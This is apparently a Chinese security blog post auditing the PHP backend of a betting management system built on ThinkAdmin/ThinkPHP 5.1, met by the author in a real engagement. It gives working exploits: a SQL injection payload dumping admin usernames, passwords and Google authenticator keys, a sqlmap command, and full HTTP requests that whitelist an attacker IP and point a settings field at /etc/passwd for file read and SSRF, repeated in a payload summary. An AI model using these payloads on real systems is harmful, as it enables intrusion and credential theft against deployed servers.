某资金投注系统后台代码审计
2023-12-15 08:30:17 Author: 不够安全(查看原文) 阅读量:19 收藏

写在前面

在实战中遇到的一套源码,感觉有洞,遂决定锻炼下代码阅读能力,不足的地方,请各位师傅指正。

系统简介

由thinkadmin v5基于thinkphp5.1.39开发的投注管理系统。

开发语言:PHP开发框架:Thinkadmin(thinkphp5.1.39LTS)

代码分析

SQL注入

注入点代码如下,其中参数“language”可控。

public function item_class(){        $params = $this->request->param();        $language = $params["language"];        $classes = Db::name('LcItemClass')->field("id,$language as title")->order('sort asc,id desc')->select();        $this->success("success", ['classes' => $classes]);}

1.访问“index/index/set_currency_price”路由设置language参数为“1'”,报错点在“SELECT id,1'”。完整的SQL语句如下:

SELECT id,1' as title FROM `lc_item_class` ORDER BY `sort` ASC,`id` DESC

2.那么可以尝试获取管理员用户表的字段信息,设置language参数为“username,password,google_key from `system_user`--+”,那么完整的语句应该是如下:

SELECT id,username,password,google_key from `system_user`--+ as title FROM `lc_item_class` ORDER BY `sort` ASC,`id` DESC

成功注出管理员信息。

sqlmap也能直接跑。

python sqlmap.py -u http://xxx.xxx.xxx/api/index/item_class?language= --batch --random-agent

后台文件读取/SSRF

漏洞代码如下:

public function set_currency_price(){        //判断ip白名单        if(strstr(getInfo("task_ip"),$this->request->ip())){            $req_url = getInfo('rate_api');            $response_json = file_get_contents($req_url);            if(false !== $response_json) {                $response = json_decode($response_json);                if('success' === $response->result) {                    $currency = $response->conversion_rates;                    $currencies = Db::name('LcCurrency')->where(['type' => 2])->select();                    foreach ($currencies as $k => $v) {                        $name = $v['name'];                        $update = ['price' => $currency->$name];                        $this->updateCurrencyByName($name,$update);                    }                    echo("success");                }else{                    echo($currency->result);                }            }else{                echo("failed");            }        }else{            echo("IP does not support");        }}

getinfo($value)函数表示从lc_info表中获取对应$value字段的值,代码如下:

function getInfo($value){    return Db::name('LcInfo')->where('id', 1)->value($value);}

strstr(getInfo("task_ip"),$this->request->ip())意为,getInfo("task_ip")从数据库中获取白名单IP,$this->request->ip()获取攻击机IP(公网,这里测试过X-Forword-For不能用),strstr()函数比对攻击机IP是否在白名单内。条件符合则进入:

$req_url = getInfo('rate_api');$response_json = file_get_contents($req_url);

getInfo('rate_api')表示从数据库中获取地址,然后file_get_contents($req_url)去获取地址中的内容。获取成功进入下面代码:

$response = json_decode($response_json);

由于这里匹配json字符串,读取到的文件非json,所以if('success' === $response->result)通过不了,直接进入echo($currency->result);将报错信息打印。

后面分析到getInfo("task_ip")中的task_ip字段,可在后台“系统管理->网站配置->编辑”(/admin.html#/admin/info/set.html?id=1&spm=m-2-91-92),设置“宝塔计划任务白名单IP”为你的攻击机公网IP地址。

参数为“task_ip”,数据包如下:

POST /admin/info/set.html?id=1&spm=m-2-91-92 HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 774sec-ch-ua: "(Not(A:Brand";v="99", "Chromium";v="114", "Google Chrome";v="114"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/114.0.5844.208 Chrome/114.0.5844.208 Safari/537.36sec-ch-ua-platform: "Linux"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
webname=%E4%BB%85%E4%BE%9B%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%EF%BC%8C%E7%A6%81%E6%AD%A2%E7%94%A8%E4%BA%8E%E9%9D%9E%E6%B3%95%E7%94%A8%E9%80%94&phone_register=0&invite_code=0&invite_level=999&auth_phone=1&auth_email=1&auth_google=1&funding_need_auth=4&auto_lang=0&num_ip=5&recharge_need_flow=1&reward_need_flow=0&check_address=0&back_google=0&back_limit=0&white_ip=0.0.0.0&ban_ip=&domain=http%3A%2F%2Fgoogle.com&domain_api=http%3A%2F%2Fxxx.xxx.xxx%2F&task_ip=127.0.0.1&logo_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&logo_img2=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fbfa08a14cc08ef71%2F75d89d18b1ee0886.png&user_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&id=1

getInfo('rate_api')中的rate_api字段,在“系统管理->语言/货币管理->编辑汇率API”(/admin.html#/admin/currency/index.html?spm=m-2-91-123),设置“汇率API”为需要读取的文件。

参数为“rate_api”,数据包如下:

POST /admin/currency/api.html?id=1&spm=m-2-91-123&open_type=modal HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 55sec-ch-ua: "(Not(A:Brand";v="99"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:113.0) Gecko/20100101 Firefox/113.0/RbC6NowL7lQzwsec-ch-ua-platform: "Windows"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
rate_api=/etc/passwd&id=1&_token_=csrf657a76cb013fb

访问下面链接查看网页源代码即可。

http://xxx.xxx.xxx/index/index/set_currency_price

将“汇率API”设置成“https://www.baidu.com/”,成功请求了百度。

漏洞总结

SQL注入

# 管理员信息payload/api/index/item_classPOST:language=username,password,google_key from `system_user`--+# sqlmap工具注入命令python sqlmap.py -u http://xxx.xxx.xxx/api/index/item_class?language= --batch --random-agent
文件读取/SSRF
1.设置IP白名单
POST /admin/info/set.html?id=1&spm=m-2-91-92 HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 774sec-ch-ua: "(Not(A:Brand";v="99", "Chromium";v="114", "Google Chrome";v="114"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (X11; U; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/114.0.5844.208 Chrome/114.0.5844.208 Safari/537.36sec-ch-ua-platform: "Linux"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
webname=%E4%BB%85%E4%BE%9B%E5%AD%A6%E4%B9%A0%E7%A0%94%E7%A9%B6%EF%BC%8C%E7%A6%81%E6%AD%A2%E7%94%A8%E4%BA%8E%E9%9D%9E%E6%B3%95%E7%94%A8%E9%80%94&phone_register=0&invite_code=0&invite_level=999&auth_phone=1&auth_email=1&auth_google=1&funding_need_auth=4&auto_lang=0&num_ip=5&recharge_need_flow=1&reward_need_flow=0&check_address=0&back_google=0&back_limit=0&white_ip=0.0.0.0&ban_ip=&domain=http%3A%2F%2Fgoogle.com&domain_api=http%3A%2F%2Fxxx.xxx.xxx%2F&task_ip=127.0.0.1&logo_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&logo_img2=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fbfa08a14cc08ef71%2F75d89d18b1ee0886.png&user_img=http%3A%2F%2Fxxx.xxx.xxx%2F%2Fupload%2Fe928f4c160953e91%2Fefc4f2889fea5b94.png&id=1
2.设置需要读取的文件名
POST /admin/currency/api.html?id=1&spm=m-2-91-123&open_type=modal HTTP/1.1Host: xxx.xxx.xxxConnection: closeContent-Length: 55sec-ch-ua: "(Not(A:Brand";v="99"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 11.0; Win64; x64; rv:113.0) Gecko/20100101 Firefox/113.0/RbC6NowL7lQzwsec-ch-ua-platform: "Windows"Origin: http://xxx.xxx.xxxSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://xxx.xxx.xxx/admin.htmlAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: s003ac044=5q9gibni1tn8laujsm6fbbpkc4; page-limit=20
rate_api=/etc/passwd&id=1&_token_=csrf657a76cb013fb
3.访问“/index/index/set_currency_price”读取文件
/index/index/set_currency_price

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2OTYzNTExNQ==&mid=2247484614&idx=1&sn=b911bcc9501a84f2f7cdf5933b4cbb11&chksm=cf3e3ff65738c0f27bd23ce632a8be4f03ce511473ebd890fdfa77fee9c970f8d79d8caf3f6a&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh